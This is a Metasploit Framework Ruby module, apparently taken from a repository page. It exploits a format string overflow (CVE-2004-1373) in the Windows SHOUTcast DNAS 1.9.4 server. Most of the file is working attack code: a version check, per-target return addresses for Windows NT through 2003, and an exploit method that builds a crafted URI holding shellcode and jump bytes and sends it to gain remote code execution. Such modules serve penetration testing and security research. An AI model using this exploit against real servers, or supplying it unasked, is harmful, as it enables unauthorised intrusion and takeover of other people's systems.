metasploit-framework/modules/exploits/windows/http/shoutcast_format.rb

102 lines
2.7 KiB
Ruby
Raw Normal View History

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'SHOUTcast DNAS/win32 1.9.4 File Request Format String Overflow',
'Description' => %q{
This module exploits a format string vulnerability in the
Nullsoft SHOUTcast server for Windows. The vulnerability is
triggered by requesting a file path that contains format
string specifiers. This vulnerability was discovered by
Tomasz Trojanowski and Damian Put.
},
'Author' => [ 'MC', 'mandragore[at]gmail.com'],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2004-1373'],
[ 'OSVDB', '12585'],
[ 'BID', '12096'],
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 250,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['Windows NT SP5/SP6a English', { 'Ret' => 0x776a1799 }], # ws2help.dll
['Windows 2000 English ALL', { 'Ret' => 0x75022ac4 }], # ws2help.dll
['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad }], # ws2help.dll
['Windows 2003 Server English', { 'Ret' => 0x7ffc0638 }], # PEB return
],
'DisclosureDate' => 'Dec 23 2004'))
register_options(
[
Opt::RPORT(8000)
], self.class)
end
def check
r = send_request_raw({
'uri' => uri
}, 5)
return Exploit::CheckCode::Safe if not r
m = r.body.match(/Network Audio Server\/([^\s]+)\s+([^<]+)<BR/)
return Exploit::CheckCode::Safe if not m
print_status("This system is running SHOUTcast #{m[1]} on #{m[2]}")
# SHOUTcast Distributed Network Audio Server/win32 v1.9.2<BR>
if (m[1] =~ /v1\.([0-8]\.|9\.[0-3])$/)
if (m[2] == "win32")
return Exploit::CheckCode::Vulnerable
end
print_status("Vulnerable version detected, but not a win32 host")
end
return Exploit::CheckCode::Safe
end
def exploit
num = 1046 - payload.encoded.length
uri = '/content/%#0' + num.to_s + 'x' + payload.encoded
uri << "\xeb\x06" + rand_text_alphanumeric(2)
uri << [target.ret].pack('V')
uri << "\xe9\x2d\xff\xff\xff"
uri << '#0100x.mp3'
print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)
send_request_raw({
'uri' => uri
}, 5)
handler
disconnect
end
end